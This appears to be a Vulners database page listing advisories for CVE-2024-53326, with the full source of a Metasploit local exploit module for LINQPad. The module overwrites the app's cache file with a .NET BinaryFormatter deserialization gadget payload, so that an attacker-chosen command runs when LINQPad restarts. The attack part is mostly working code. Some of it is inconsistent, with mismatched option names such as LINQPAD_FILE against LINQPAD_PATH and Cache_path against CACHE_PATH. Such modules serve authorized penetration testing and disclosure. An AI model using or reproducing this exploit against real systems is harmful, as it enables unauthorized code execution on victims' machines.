| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| CVE-2024-53326 | 8 May 202600:00 | – | attackerkb | |
| CVE-2024-53326 | 13 May 202513:11 | – | circl | |
| LINQPad 代码问题漏洞 | 8 May 202600:00 | – | cnnvd | |
| CVE-2024-53326 | 8 May 202600:00 | – | cve | |
| CVE-2024-53326 | 8 May 202600:00 | – | cvelist | |
| EUVD-2024-55573 | 8 May 202606:32 | – | euvd | |
| LINQPad Deserialization Exploit | 13 May 202518:49 | – | metasploit | |
| LINQPad Deserialization | 11 Nov 202518:58 | – | metasploit | |
| CVE-2024-53326 | 8 May 202606:16 | – | nvd | |
| 📄 LINQPad File Overwrite | 11 Nov 202500:00 | – | packetstorm |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
# includes file?, directory?
include Msf::Post::File
# includes generate
include Msf::Util::DotNetDeserialization
def initialize(info = {})
super(
update_info(
info,
'Name' => 'LINQPad Deserialization Exploit',
'Description' => %q{
This module exploits a bug in LIQPad up to version 5.48.00. The bug is only exploitable in paid version of software. The core of a bug is cache file containing deserialized data, which attacker can overwrite with malicious payload. The data gets deserialized every time the app restarts.
},
'License' => MSF_LICENSE,
'Author' => [
'msutovsky-r7 <[email protected]>',
'James Williams' # original research
],
'Platform' => 'win',
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Windows', { 'Arch' => ARCH_CMD } ]],
'Privileged' => true,
'References' => [
[ 'URL', 'https://trustedsec.com/blog/discovering-a-deserialization-vulnerability-in-linqpad'],
[ 'CVE', '2024-53326']
],
'DisclosureDate' => '2024-12-03',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('LINQPAD_FILE', [true, 'Path to LINQPad executable on target\'s machine']),
OptString.new('CACHE_PATH', [true, 'Path to cache file directory containing deserialized data']),
OptBool.new('CLEANUP', [false, 'Restore original cache file when exploit finish'])
])
end
# Simplify pulling the writable directory variable
def check
if datastore['LINQPAD_PATH'].blank? || !file?(datastore['LINQPAD_PATH'])
return Exploit::CheckCode::Unknown('LINQPad binary not specified or doesn\'t exist')
elsif datastore['CACHE_PATH'].blank? || !directory?(datastore['Cache_path']) || !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat')
return Exploit::CheckCode::Unknown('Cache directory doesn\'t exist')
elsif !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat')
return Exploit::CheckCode::Unknown('Cannot find cache file')
elsif file?(datastore['CACHE_PATH'] + '/autorefcache46.2.dat')
return Exploit::CheckCode::Safe('Contains not vulnerable version of LINQPad')
else
return Exploit::CheckCode::Vulnerable('LINPad and vulnerable cache file present, target possibly exploitable')
end
end
def exploit
# generate payload
dotnet_payload = ::Msf::Util::DotNetDeserialization.generate(
payload.encoded, # this is the Operating System command to run
gadget_chain: :TextFormattingRunProperties,
formatter: :BinaryFormatter
)
# try to overwrite cache file
fail_with(Failure::PayloadFailed, 'Writing payload to cache file failed') unless write_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', dotnet_payload)
# add cleanup option
register_file_for_cleanup(datastore['CACHE_PATH']) if datastore['CLEANUP']
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation